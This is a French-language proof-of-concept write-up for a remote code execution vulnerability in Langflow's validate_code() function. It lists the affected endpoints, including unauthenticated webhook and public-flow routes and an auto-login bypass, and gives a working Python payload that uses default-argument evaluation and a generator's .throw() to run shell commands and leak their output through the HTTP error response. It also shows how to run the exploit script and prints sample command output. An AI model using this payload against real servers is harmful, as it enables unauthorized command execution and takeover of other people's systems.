
Preuve de concept pour CVE-2026-0770 - Exécution de code à distance dans Langflow
Langflow contient une vulnérabilité critique d'exécution de code à distance dans la fonction validate_code() située dans src/lfx/src/lfx/custom/validate.py. La fonction utilise exec() pour exécuter du code Python fourni par l'utilisateur sans sandboxing, permettant l'exécution arbitraire de commandes sur le serveur.
Des vulnérabilités similaires ont été identifiées dans des fonctions et points de terminaison associés :
La fonction validate_code() analyse le code fourni par l'utilisateur et exécute les définitions de fonctions à l'aide de exec() :
# validate.py:66
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
exec(code_obj, exec_globals) # <-- Exécution de code arbitraire
Le contexte exec_globals inclut l'accès à importlib et aux fonctions intégrées de Python, permettant aux attaquants d'importer des modules dangereux (os, subprocess, socket) et d'exécuter des commandes système arbitraires.
| Point de terminaison | Authentification | Vecteur d'attaque |
|---|---|---|
POST /api/v1/validate/code | Requise* | Soumission directe de code |
POST /api/v1/custom_component | Requise* | Code dans la définition du composant |
POST /api/v1/custom_component/update | Requise* | Code dans la mise à jour du composant |
POST /api/v1/webhook/{flow_id} | Aucune | Flux avec composants de code |
POST /api/v1/build_public_tmp/{flow_id}/flow | Aucune | Exécution de flux public |
* L'authentification peut être contournée lorsque AUTO_LOGIN=true (la configuration par défaut)
Les fonctions suivantes dans validate.py utilisent également exec() de manière non sécurisée :
| Fonction | Ligne | Description |
|---|---|---|
validate_code() | 66 | Valide le code utilisateur |
eval_function() | 140 | Évalue les chaînes de fonctions |
execute_function() | 182 | Exécute des fonctions arbitraires |
create_function() | 227 | Crée des fonctions à partir de code |
create_class() | 241-442 | Crée des classes via prepare_global_scope() et build_class_constructor() |
throw()La fonction validate_code() n'exécute que les définitions de fonctions, pas les appels de fonctions. Pour obtenir une exécution de code avec exfiltration de la sortie, nous exploitons l'ordre d'évaluation de Python pour les arguments par défaut.
Point clé : Les expressions des arguments par défaut sont évaluées au moment de la définition de la fonction, pas lors de son appel.
def foo(x=print("Je m'exécute immédiatement")):
pass
Cependant, nous devons exfiltrer la sortie via la réponse HTTP. Le point de terminaison renvoie les erreurs dans le corps de la réponse, nous devons donc lever une exception contenant notre sortie.
Problème : raise est une instruction, pas une expression, elle ne peut donc pas être utilisée directement dans un argument par défaut.
Solution : Utiliser la méthode .throw() d'un générateur, qui lève une exception et EST une expression :
(_ for _ in ()).throw(Exception("sortie ici"))
Cela crée un générateur vide et lève immédiatement une exception. Combiné avec une lambda pour capturer la sortie de la commande :
def exploit(
_=(lambda r: (_ for _ in ()).throw(Exception(f"SORTIE:\n{r.stdout}")))(
__import__('subprocess').run("id", shell=True, capture_output=True, text=True)
)
):
pass
Flux d'exécution :
exec() exécute la définition de la fonction_=... est évalué immédiatementsubprocess.run() exécute la commande.throw() du générateurvalidate_code() la capture et renvoie l'erreur dans la réponsepython poc.py --target http://localhost:7860 -c "id && whoami && hostname"
| Option | Description |
|---|---|
-t, --target | URL cible (requise) |
-c, --command | Commande à exécuter (par défaut : id && whoami) |
-k, --token | Jeton JWT (optionnel, utilise la connexion automatique par défaut) |
[*] Cible : http://localhost:7860
[*] Tentative de connexion automatique (configuration par défaut)...
[+] Connexion automatique réussie !
[*] Exécution : id && whoami && hostname
[+] Statut : 200
[+] Sortie :
uid=1000(user) gid=0(root) groups=0(root)
user
53977c93d567
src/lfx/src/lfx/custom/validate.py